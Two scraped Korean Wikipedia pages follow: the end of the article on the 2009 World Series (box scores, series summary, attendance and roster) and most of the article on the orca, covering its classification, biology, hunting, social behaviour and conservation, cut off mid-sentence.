필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
범고래 - 위키백과, 우리 모두의 백과사전 범고래 위키백과, 우리 모두의 백과사전. (솔피에서 넘어옴) 둘러보기로 가기 검색하러 가기 범고래 알래스카 우니막 섬 가까이의 이주성 범고래 무리 사람(1.8m)과 비교한 크기(9m) 범고래의 소리 보전 상태 정보부족(DD), IUCN 3.1[1] 생물 분류 역: 진핵생물 계: 동물계 문: 척삭동물문 강: 포유강 목: 우제목/경우제목 아목: 경하마형아목 하목: 고래하목 소목: 이빨고래소목 과: 참돌고래과 속: 범고래속(Orcinus) 종: 범고래(O. orca) 학명 Orcinus orcaLinnaeus, 1758 범고래의 분포도 범고래(학명: Orcinus orca, 영어: killer whale 또는 orca[2])는 참돌고래과에 속하는 고래 중 큰 종이자, 극지방에서 열대지방에 이르기까지 널리 발견되는 이빨고래이다. 영화 프리 윌리에 나오는 고래로도 유명하다. 범고래는 능동적인 포식자이다. 이들의 주식은 여러 가지가 있는데 물고기를 주로 먹는 무리들이 있는가 하면 바다사자와 다른 고래를 포함한 젖먹이 동물을 사냥하는 무리도 있다. 범고래는 크게 다섯 종류로 나뉘며 이들을 아종이나 다른 종으로 구분해야 한다는 의견도 있다. 범고래는 매우 사회적인 동물이며 상당히 안정된 모계 사회를 형성하는 경우도 있다.[3] 사회행동과 사냥법 및 독특한 노래는 범고래들 특유의 문화를 보여 준다.[4] 다른과의 고래들과는 다르게 범고래는 전 세계적으로 멸종위기에 놓이지는 않으나 몇몇 지역군에서는 존망 위기를 맞고 있는데 해양오염과 먹이의 감소, 어선과의 충돌이 그 까닭이다. 야생범고래는 보통 인간에게 위협적인 존재로 여겨지지는 않으나[5], 해양공원에서 사육된 범고래가 조련사 등을 공격한 사례는 몇 건 있다.[6] 목차 1 분류 1.1 이름 2 외관 3 생애 4 분포 5 사냥 대상 5.1 물고기와 여타 냉혈동물 5.2 다른 포유류 5.3 조류 6 행동 6.1 사회 구조 6.2 노래 6.3 지능 7 보전 상태 8 인간과의 관계 8.1 포경업 8.2 사육되는 범고래 8.2.1 등지느러미 붕괴 8.2.2 인간을 공격한 사례 8.2.3 다른 공격 사례 8.3 문화 9 각주 10 참고 자료 11 외부 링크 분류[편집] 범고래속의 유일한 종인 범고래는 1758년에 린네가 처음으로 분류하였다.[7] 범고래는 참돌고래과의 35종 가운데 하나이다. 향고래가 향고래속에 유일하게 속하는 것처럼 범고래도 범고래속에 속하는 그 수가 많은 종이다. 고생물학자들은 범고래가 계통분화 없이 그대로 진화했다고 추측한다. 사실이라면 범고래는 가장 오래된 돌고래라 할 수 있게 된다. 전 세계 해양의 범고래들은 3가지에서 5가지로 나뉜다. 서로 간의 차이는 서로 큰 편이며 아종으로 구분하거나 심지어는 다른 종으로 여기기도 한다. 북미의 해안에서 1970년대부터 1980년대까지 이루어진 조사에 따르면 다음과 같은 세 종류가 있다. 비이주성: 북동아메리카 해안에서 흔히 관찰되는 종류이다. 주식은 물고기와 오징어 등이며 무리 안에서는 복잡하고 연대 깊은 가족 관계를 형성한다. 종종 거대한 모계 사회를 이루며 서로 독특한 방언의 노래를 이용한다. 비이주성 범고래 무리의 중심은 어미이며 10살 이하의 새끼 및 다 자란 자식들이 구성원이다. 암컷들은 자신의 새끼를 낳기 위해 서서히 어미와 멀어지지만, 수컷들은 어미 곁을 평생 따라다니는 것으로 보인다. 짝짓기를 위해서는 잠시 무리를 떠나지만, 그 뒤에는 어미에게로 돌아온다.[8] 암컷들은 대체로 완만하면서 끝이 뾰족한 등지느러미를 가지고 있다. 같은 지역을 자주 방문하는 곳으로 알려져 있으며, 브리티시컬럼비아주와 워싱턴주 해안에서 자주 나타나기 때문에 가장 많이 연구된 해양 포유류이다. 30년 동안 무려 300마리 이상을 이름 지었다. 이주성: 이들의 주식은 대부분이 다른 해양 포유류이며 물고기는 먹지 않는다. 알래스카주 남부에서는 2마리에서 6마리로 구성되는 작은 무리를 이룬다. 비이주성 무리와 달리 가족끼리 언제나 몰려다니지는 않는다. 이들의 구성원 숫자는 적고 유대감이 덜하며 노래의 방언도 대체로 덜 복잡한 편이다. 암컷의 등지느러미는 비이주성 암컷에 비해 삼각형에 가까운 모양을 띠며, 잿빛으로 보이는 점이나 하얗게 보이는 점이 흩어져 있다. 이들은 해안선을 따라 이동하며, 알래스카주 남부에서 캘리포니아주까지 이동하는 것이 확인된 적이 있다. 원양: 1998년에 혹등고래 연구자들이 범고래가 원양에서 나타났다 사라지는 것을 보고하였다. 이들은 원양을 헤엄쳐 다니면서 물고기와 상어, 바다거북을 잡아먹는다. 60마리가 넘는 개체가 무리지어 다니는 것이 목격되었지만 지금은 이들의 행동에 대해서 많이 알려진 바가 없다. 하지만 유전적으로 비이주성, 이주성 범고래와 구분할 수 있다. 원양의 암컷은 둥그런 등지느러미로 구분된다. 분류별 돌고래와 분류 C에 속하는 범고래. 눈주위의 무늬가 앞쪽으로 기울어져 있다. 다른 지역에서의 범고래는 대체로 잘 연구되어 있지 않지만, 개체의 주식과 사회적 행동에는 관련이 깊은 것이 확인되었다. 물고기를 주식으로 하는 알래스카와 노르웨이 해안의 범고래는 비이주성의 성향을 띠었으며 다른 해양 포유류를 주식으로 하는 아르헨티나 해안의 범고래는 이주성의 성향을 띠었다.[3] 성향이 다른 범고래들은 같은 지역에 살 수는 있지만 서로 피하는 경향이 있다. 한때는 이주성 범고래가 비이주성 무리로부터 쫓겨난 개체로 이루어졌다고 여겨졌지만 나중에 이 두 종류의 범고래의 성향이 뒤바뀌는 일은 없음이 확인되었다. 둘이 분화된 것은 2백만 년 전으로 보이며[9], 이 두 종류의 범고래들이 최고 1만 년 동안 서로 섞이지 않았다는 유전자 연구 결과도 있다.[10] 남극에서는 다음과 같은 3가지 종류가 확인되었다. 분류 A: 보통의 범고래처럼 생겼으며, 원양에서 주로 밍크고래를 사냥함으로써 살아간다.[11] 분류 B: 분류 A보다 작다. 눈 주위에 있는 무늬가 크며, 등은 회색이다. 주로 바다표범을 사냥함으로써 살아간다.[11] 분류 C: 분류 B보다도 작으며, 다른 종류의 범고래보다 더 큰 무리를 형성한다. 눈주위의 무늬가 몸에 평행하지 않고 약간 기울어져 있다. 남극대구만을 사냥한다.[11] 분류 B와 C에 속하는 범고래는 주로 빙산 가까이에 거주하며, 이 지역에 발생하는 조류가 피부를 조금 노랗게 물들일 수도 있다. 이 두 종류가 다른지는 아직까지도 연구가 지속되고 있다.[12][13] 이름[편집] 영어권에서는 이 고래를 killer whale 라 하지만, orca가 훨씬 많이 사용되고 있다. 속명 Orcinus는 "망자(亡者)의 왕국",[14] 또는 "오르쿠스(고대 로마 신화의 저승신)에게 속한"이라는 뜻이다.[15] 고대 로마에서는 범고래를 orca, 복수형으로 orcae 라고 불러써으며, 이것은 그리스어에서 고래 전반을 가리키는 단어 ὄρυξ에서 유래한 것으로 보인다. 1960년대 이후로 영어권에서 orca 라는 단어의 사용이 꾸준히 증가했으며, 현재는 killer whale 과 orca 둘 다 사용되고 있다. orca 라는 단어는 "killer"(살해자)라는 단어의 부정적인 느낌을 피하려는 사람들에게 선호된다.[16] 또한 범고래가 참돌고래과에 속하기 때문에, 덩치 큰 고래를 뜻하는 whale보다 dolphin과 유관계하다고 생각되기 때문이기도 하다.[17] 일부 학자들은 killer whale이라는 이름이 스페인어 asesina ballenas를 오역한 것이 아닌가 추측하기도 하는데, asesina ballenas는 "고래살해자"(whale killer)라는 뜻이다.[18] 그람푸스(Grampus)라는 이름도 한때 사용되었으나, 현재는 거의 쓰이지 않는다. 현재 그람푸스는 리소돌고래를 가리킨다.[19] 한국어로는 흰줄박이물돼지라고도 한다. 옛날에는 솔피(率皮), 해랑(海狼)이라고도 했다. 여러 나라에서 사용하는 범고래 단어는, 대체로 이들의 폭력성을 암시하는 뜻을 담고 있다. 외관[편집] 범고래의 골격 범고래는 까만 등, 하얀 가슴과 옆, 그리고 눈 주위에 있는 흰 무늬로 구분한다. 갓난 새끼는 약간 노란색이나 주황색을 띤다. 덩치가 크며[20] 약 2미터(6.6 피트)까지 자라는 커다란 등지느러미를 지니고 있다. 남극에서 서식하는 개체는 회색이나 흰 등을 지니기도 한다. 수컷의 몸길이는 6~8 m 정도이며, 무게는 최대 6 t 정도 나가나, 사람에게 생포된 최대 크기의 개체의 경우 무게가 10 t에 육박했다고 한다. 암컷은 수컷보다 작으며 몸길이 5~7 m 정도이다. 몸무게는 3~4 t 정도 나간다.[21] 아까 말했던 사람에게 생포된 가장 큰 범고래는 일본 연안에서 발견되었으며, 몸길이 9.8 m, 몸무게는 10 t에 육박했다. 갓 태어난 새끼의 크기도 상당히 큰 편으로, 무게는 180kg이며, 몸길이는 2.4 m 정도이다.[22][23] 범고래가 빨리 이동할 수 있는 것은 유선형 몸체와 상당히 큰 몸집 때문이다. 최고 이동 속도는 시속 56킬로미터에 이르지만, 이 속도로는 아주 짧은 시간(몇 분 정도)만 헤엄칠 수 있는 한계도 지니고 있다. 돌고래와는 달리 범고래의 가슴지느러미는 크고 둥글다. 수컷의 가슴지느러미는 암컷보다 훨씬 크다. 수컷의 등지느러미 또한 암컷보다 두 배 정도 크며 길쭉한 이등변 삼각형처럼 생겼다. 암컷의 등지느러미는 짧고 둥글다.[24] 다 자란 수컷은 다른 해양 동물과 확실히 구분된다.[25] 하지만 원거리에서 볼 때 범고래 암컷이나 새끼는 범고래붙이, 리소돌고래같은 다른 고래와 혼동될 수 있다.[26] 범고래가 수면에 떠오를 때 등지느러미와 무늬를 드러내므로 이때 범고래의 개체적 특징을 잘 확인할 수 있다. 무늬의 유형, 흉터, 상처 등은 개체들을 구분하기에 충분하다. 범고래가 자주 출현하는 북동부 태평양에서는 각 개체의 사진과 이름이 정렬(整列)된 카탈로그를 보유하고 있다. 이 카탈로그를 이용하여 이 지역에서는 더욱 정확한 개체 숫자를 측정할 수 있으며, 범고래의 생태와 사회를 잘 이해할 수 있다. 생애[편집] 암컷은 대체로 15살이 되면 성숙한다. 월경기는 15개월에서 18개월이다. 암컷은 보통 5년마다 한 마리의 새끼를 낳는다. 비이주성 무리를 조사한 결과 번식은 연중 일어나지만 겨울에 많이 일어나는 것으로 나타났다. 갓난 새끼의 생존률은 매우 낮으며, 한 살이 되기 전까지 절반이 생명을 이어가지 못한다. 어미는 새끼를 최대 2년 동안 수유를 하지만 12개월 뒤에는 딱딱한 먹이를 준다. 수컷을 비롯한 모든 무리의 개체가 새끼를 돌본다.[9] 암컷은 대체로 40살까지 새끼를 낳으며, 그동안 평균 5마리의 자식을 둔다. 암컷의 평균 수명은 50살이지만, 70~80살까지 살 경우도 있다. 수컷은 15살에 성적으로 성숙하지만, 보통 21살까지는 번식을 하지 않는다. 수컷은 암컷만큼 오래 살지는 않는데, 평균 수명이 30년이며, 길어봤자 50~60년 정도이다.[8] 하지만 ‘톰’이라는 이름의 수컷은 1843년부터 1932년까지 매년 겨울에 오스트레일리아 해안에서 발견되었는데 이로써 최소 89년은 살았을 것이라고 추론할 수 있다.[27] 사육되는 범고래의 수명은 훨씬 짧아서 보통 25년 이내이다.[28][29] 흰 범고래는 베링해와 세인트로렌스 섬 부근에서 목격되었으며, 러시아 해안에서도 발견되었다. 이들 말고도 전 세계에 발견된 흰 범고래는 외관을 제외하고는 건강 조건 등은 다른 범고래와 차이는 없어 보였다.[30] 분포[편집] 빠르게 이동하기 위해서 범고래는 이렇게 뛰어오른다. 범고래는 전 세계의 대양과 대부분의 바다에 분포한다. 고래류 중에는 흔치 않게 아라비아해와 지중해에서도 발견된다. 하지만 보통은 차가운 바다와 극지방을 선호한다. 간혹 수심 깊은 곳에서 발견된 적이 있지만, 연안에서 더 자주 발견된다. 범고래의 수가 많은 곳은 캐나다에서 알래스카까지 이어지는 북동 태평양 지역, 아이슬란드 부근, 북부 노르웨이 지역이다. 남극 지방에서는 빙산 부근에서 자주 발견되지만 겨울의 극지방에서는 잘 발견되지 않는다. 원양과 열대지방에 서식하는 범고래 숫자는 많지 않지만 분포 영역은 넓은 것으로 알려져 있다. 이 지역에서 자주는 아니지만 발견되는 것을 봐서 범고래가 따뜻한 수온에서 서식이 가능함을 말해준다. 인도네시아와 필리핀 지역에서는 잘 발견되지 않는다. 정확한 전 세계 숫자는 집계된 적이 없지만 남극 지방에서는 7~8만 개체, 열대 태평양에서는 8천 개체가 있는 것으로 추측되고 있다. 한국 연안에서는 문헌상 기록에는 이들이 분포하는 것으로 되어 있지만 본격적인 연구가 진행된 적은 없다. 그렇지만 1999년 연안 고래에 대한 연구가 시작된 뒤로 제주도, 독도, 울산 앞바다, 서해 등지에서 서식하는 것이 확인되었다.[31][32] 어림치를 모두 합하면 전 세계의 범고래 숫자는 10만 마리는 된다고 추측된다. 북극 빙산이 빠른 속도로 녹기 시작함에 따라 범고래의 분포 범위는 허드슨만이나 북쪽으로 확산되고 있으며, 출현 빈도도 잦아지고 있다.[33] 이주성 범고래의 이동 유형은 잘 알려진 바가 없다. 비이주성 범고래는 사라졌다가 해마다 같은 지역에서 발견된다. 수십 년의 연구에도 불구하고 비이주성 범고래들이 그 사이에 어디로 사라지는지는 알려진 바가 없다. 연구자들은 2008년 2월 23일 알래스카 해안에서 흰 범고래를 목격했다.[34] 사냥 대상[편집] 비이주성 범고래. 휜 등지느러미는 이런 암컷의 특징이다. 범고래는 생태계 최상위에 있는 포식자이며, 무리 지어 사냥하기도 하기 때문에 종종 바다의 늑대라고 불린다.[35] 범고래는 하루에 평균 227킬로그램의 먹이를 섭취한다.[36] 범고래의 먹이는 다양하지만 어떤 지역의 개체들은 먹이의 종류가 제한되어 있기도 하다. 예를 들어 노르웨이와 그린란드 연안에 사는 범고래들은 청어를 주로 사냥하며 매해 가을 청어 떼의 이동 경로를 따라다니는 것이 확인되었다. 바다사자를 사냥하기도 한다. 조사에 따르면 북동 태평양에 존재하는 비이주성 범고래군은 65퍼센트의 먹이가 연어이며[3] 어린 연어 어군은 공격하지 않는 행동이 목격되었다. 비이주성 범고래가 다른 해양포유류를 사냥하는 것은 목격된 적은 없지만, 돌고래나 바다사자를 이유 없이 학대해 죽이는 장면은 보고된 바가 있다.[3] 물고기와 여타 냉혈동물[편집] 30종류의 물고기를 범고래가 먹는데 그 중에는 연어, 청어, 다랑어 등이 있고 가끔 상어도 사냥한다. 상어 중에서도 심지어 다른 최상위 포식자인 백상아리를 사냥하기도 한다.[37] 백상아리의 신체 부위 중에서도 간을 주로 먹는 것으로 여겨진다.[38] 다만 이것은 절대로 흔한 일이 아니고 범고래도 상어를 공격할 때 신중을 기한다. 또한 범고래는 상어를 사냥할 때 자기보다 훨씬 작은 개체들이라도 굳이 기습을 해 상어를 뒤집어 놓은채로 사냥하는데, 이는 상어들의 날카로운 이빨과 강력한 턱에 물리면 치명상을 입을 수 있기 때문이다. 그래서 범고래가 뒤집을 수 없을 정도의 크기인 4 m가 넘는 백상아리들은 범고래들이 떼지어 덤비거나 건드리지 않는다. 뉴질랜드에서는 가오리를 사냥하는 것도 목격되었다. 오징어나 문어 같은 무척추동물이나 바다거북 같은 파충류도 사냥한다. 연어는 혼자 혹은 작은 무리를 지어 사냥한다. 하지만 청어를 사냥하는 방법은 다르다. 범고래 무리들은 청어를 일정지역으로 몰아 때려쳐서 잡는다고 알려져 있다. 이러한 사냥법은 노르웨이 해안이나 일부 돌고래에게서만 목격되었다.[39] 다른 포유류[편집] 남극의 빙산군 사이를 헤엄치는 범고래. 얼음 위에 고립되어 있는 아델리펭귄 무리가 보인다. 범고래가 무려 22개 종의 고래류를 사냥한다는 사실이 위장(胃腸) 분석, 직접 목격 등으로 확인되었다. 범고래 무리는 대체로 자신들보다도 큰 쇠정어리고래나 귀신고래 등을 공격하며, 심지어 경우에 따라서는 향고래나 대왕고래를 습격하기도 한다. 보통 어리고 약한 개체를 목표로 삼지만 여러 마리가 협동하여 더 강한 개체도 사냥할 수 있다. 어린 다른 고래를 사냥할 때는 어미로부터 억지로 떼어놓는 전략을 사용한다. 범고래들은 먹이가 되는 목표를 끈질기게 추적하며, 이에 따라 목표는 고립되고 숨이 부족해 질식사하게 된다. 암컷 향고래는 때때로 무리를 지음으로써 자신들과 새끼들을 보호할 수 있다. 이들이 대형 고래를 사냥하는 데에는 많은 시간이 걸린다. 범고래의 먹이가 되는 해양 포유류는 바다표범, 물개, 바다사자, 바다코끼리, 해달 등이 있다. 범고래는 목표를 찾고 제압하기 위해 복잡한 전략을 이용한다. 바다사자들은 박치기나 꼬리의 타격으로 제압하며, 던져서 죽이기도 한다. 고도의 사냥방법을 이용하는 것 또한 목격되었다. 아르헨티나 해안에서는 범고래는 주로 남아메리카바다사자와 남방코끼리물범을 사냥하기 위해 수심이 얕은 지역에도 나타나는데, 바닷가에서 직접 목표를 끌어내기도 한다. 이럴 경우 바닷가에 고립되어 치명적일 수가 있는데 이는 본능에 따른 것이 아니다. 어미들은 새끼에게 사냥법을 가르치기 위해 얕은 바다를 잘 이용한다. 새끼를 가르치기 위해 해안으로 먹잇감을 몰고 필요할 때는 바다로 끌어올 준비를 한다.[9] 빙산 위에 거주하는 바다사자를 사냥하기 위해서는 다른 사냥법을 이용한다. 목표의 위치를 확인한 후 파도를 일으켜서 목표가 바다로 빠지게 하는 것이다. 그런 뒤에는 다른 범고래가 뒷처리를 한다. 하지만 그렇게 함으로써 반드시 목표를 죽이지는 않는데, 아마도 새끼에게 사냥법을 가르치는 과정에서 살려 주는 경우도 있는 것으로 생각된다.[40] 범고래가 사슴, 엘크 같은 육상 포유류를 사냥하는 것 또한 관찰되었다. 주로 해안가의 섬 사이를 건널 때 노리는 것으로 여겨진다.[41] 조류[편집] 범고래가 펭귄이나 가마우지, 갈매기와 같은 조류를 사냥하는 것 또한 확인되었다. 사육되는 범고래가 자신이 먹은 먹이를 토해내서 갈매기를 유인해 잡아먹고, 다른 개체들이 그 방법을 습득한 경우가 있었다.[42][43] 행동[편집] 범고래의 하루 일과는 대개 사냥, 여행, 휴식, 사교로 이루어져 있다. 범고래는 수면에서 매우 활동적인 생태를 보이며, 고개 내밀기, 고래뛰기, 꼬리치기 등의 행동을 한다. 이러한 활동은 구애, 의사소통, 기생충 제거, 놀이 등 여러 가지 목적이 있을 수 있다. 특히 물 위로 머리만 빠끔 내미는 고개 내밀기(Spyhopping)는 범고래가 주위 환경을 더 잘 볼 수 있게 해준다.[44] 사회 구조[편집] 몸 전체를 수면위로 올리는 범고래 범고래는 복잡하지만 아주 안정적인 사회를 형성한다. 비이주성 범고래 무리는 다른 포유류의 사회보다도 더욱 더 안정적이며, 양성의 개체가 평생 어미와 함께 살면서 모계 사회를 형성한다. 암컷의 수명이 최대 90년 정도로 긴 편이기 때문에 4대에서 5까지 대가족을 형성하는 것을 자주 볼 수 있다. 모계선은 상당히 안정적이며, 개체가 이들에게 떨어져 나가는 것은 먹이를 찾거나 짝짓기를 하는 때를 제외하고는 거의 없다. 개체가 무리에서 추방되는 것 또한 확인된 바가 없다.[45] 모계를 중심으로 친척이 모이는 경우도 있으며, 개체 수는 무리당 평균 18마리 정도이며, 울음소리에 독특한 방언이 있다. 하지만 먹이 때문에 몇 주 동안 무리가 나뉠 수는 있다. 이들간의 근친 교배는 없으며, 반드시 다른 무리의 개체와 짝짓기를 한다. 무리는 최대 50마리의 개체를 포함할 수 있다. 때때로 무리끼리 모여서 150마리 이상의 군체를 형성하기도 한다. 비이주성 무리는 부(副)무리를 포함하기도 하는데, 암컷의 자식이나 사촌들로 이루어진다. 비슷한 방언을 지닌 무리끼리 모여 무리를 형성하는 경우도 있다. 이들은 대개 모계 쪽으로 같은 조상에서 내려온 것이다. 여러 군락이 같은 지역에 서식할 수 있으며, 때로는 같이 이동하기도 한다. 무리가 군락을 형성할 경우는 서로 환영 의식을 행한다. 군락의 상위에 있는 최상의 단계는 공동체이다. 이들은 뚜렷한 유대감이 존재하지 않으며 공통된 방언을 쓰지는 않지만, 서로 어울려 다닌다.[46] 이주성 무리의 집단은 상대적으로 작은 편인데, 자식들이 커감에 따라 서서히 모계에서 분화되어 가기 때문이다. 하지만 이주성 무리 간에도 깊지는 않지만 방언으로 인해 서로 간의 관계가 성립된다. 노래[편집] 다른 돌고래처럼 범고래 또한 노래를 많이 이용한다. 서로 의사소통을 하는 데에는 틱틱하는 소리와 휘파람을 주로 사용한다. 활동에 따라 노래는 달라진다. 쉬고 있을 때는 더욱 조용하며, 종종 신호를 보낸다. 북동 태평양의 비이주성 범고래는 이주성 개체보다 더욱 노래를 더 많이 이용한다.[47] 비이주성 개체는 다른 해양 포유류를 만날 때 자신들의 존재를 알리기 위해 신호를 보낸다. 이주성 범고래는 주로 청각이 예민한 다른 포유류를 먹기 때문에 상대적으로 조용하다. 필요할 때에는 작은 소리를 낸다. 비이주성 무리는 독특한 방언을 사용한다. 무리 안의 각 개체는 무리 안에서 쓰이는 독특한 신호를 기억하는 것으로 보인다. 무리마다 독특한 신호가 있어 다른 무리와는 소통이 되지 않을 수도 있다. 하지만 같은 조상에서 분화된 무리 사이에서는 공통되는 신호가 많이 존재할 수 있다. 어미는 새끼를 무리의 방언으로 교육시키는 것으로 보인다. 간단한 것으로 시작해서 새끼가 독특한 방언을 점차적으로 익힐 수 있게 한다. 이는 방언은 본능과 동시에 습득되는 것이라는 것을 말해 준다. 지능[편집] 범고래가 방언을 사용하는 것과 대대로 습득한 지식을 전달하는 것은 문화 중에 하나로 인식되어 왔다. “고래와 돌고래의 문화”라는 논문[48] 에서는 “범고래 무리의 안정된 언어와 행동 문화는 인간 외의 동물이 가진 것들과는 견줄 수 없다.”라고 말하고 있다. 1968년에서 1971년까지 미 해군은 워싱턴주에서 포획된 두 수컷을 군사용으로 활용하려 했지만, 한 마리는 1971년 2월 17일부터 행방 불명이 되었으며, 나머지 한 마리는 1974년에 죽었다.[49] 그 둘의 이름은 각각 소설 《모비 딕》에 나오는 주요 인물인 에이합(Ahab)과 이시마엘(Ishmael)이며, 전자가 실종되어 돌아오지 않은 개체의 이름이다. 보전 상태[편집] 어미와 새끼 환경 파괴 및 먹이의 감소, 어업과의 충돌, 서식처 조건 악화는 전 세계적으로 범고래의 생존을 위협하는 가장 중대한 요소들이다.[3][5] 먹이사슬의 다른 최상위 포식자처럼 범고래는 폴리염화 비페닐(PCB)와 같은 독성 물질이 쌓이는 것에 치명적이다. 워싱턴주 해안의 개체를 조사한 결과 유럽의 항구물범보다 PCB 축적 농도가 높다고 조사되었다. 노르웨이 연안의 범고래 지방 조직에서의 PCB, 살충제, 브롬화난연제(BFR) 농도가 심지어 북극곰보다도 높다고 나타났다. 연어같은 먹이의 감소는 비이주성 무리에게 영향을 준다. 또, 이주성 무리의 먹이인 물범과 바다사자의 개체가 줄어든 것도 확인되었다.[3] 이렇게 먹이가 줄어들면 범고래는 자신의 지방 조직에서 에너지를 생산할 수밖에 없는데, 이럴수록 범고래는 오염 물질에 취약할 수밖에 없다. 일부 비이주성 무리는 보호종으로 지정되었지만, 눈에 띄게 개체 수가 줄어들고 있다.[50] 배의 소음 공해와 같은 인간 활동은 범고래의 의사소통을 방해할 수 있다. 연어 농장에서 나는 소리가 물범을 몰아내기 위해 쓰이기도 하였지만, 결과적으로 범고래도 이 지역을 피했다.[51] 여러 나라의 해군이 사용하는 초음파 탐지도 부정적인 영향을 끼칠 수 있다.[52] 범고래는 또한 고래 관찰의 중요한 대상이 되고는 하는데, 배가 무리에 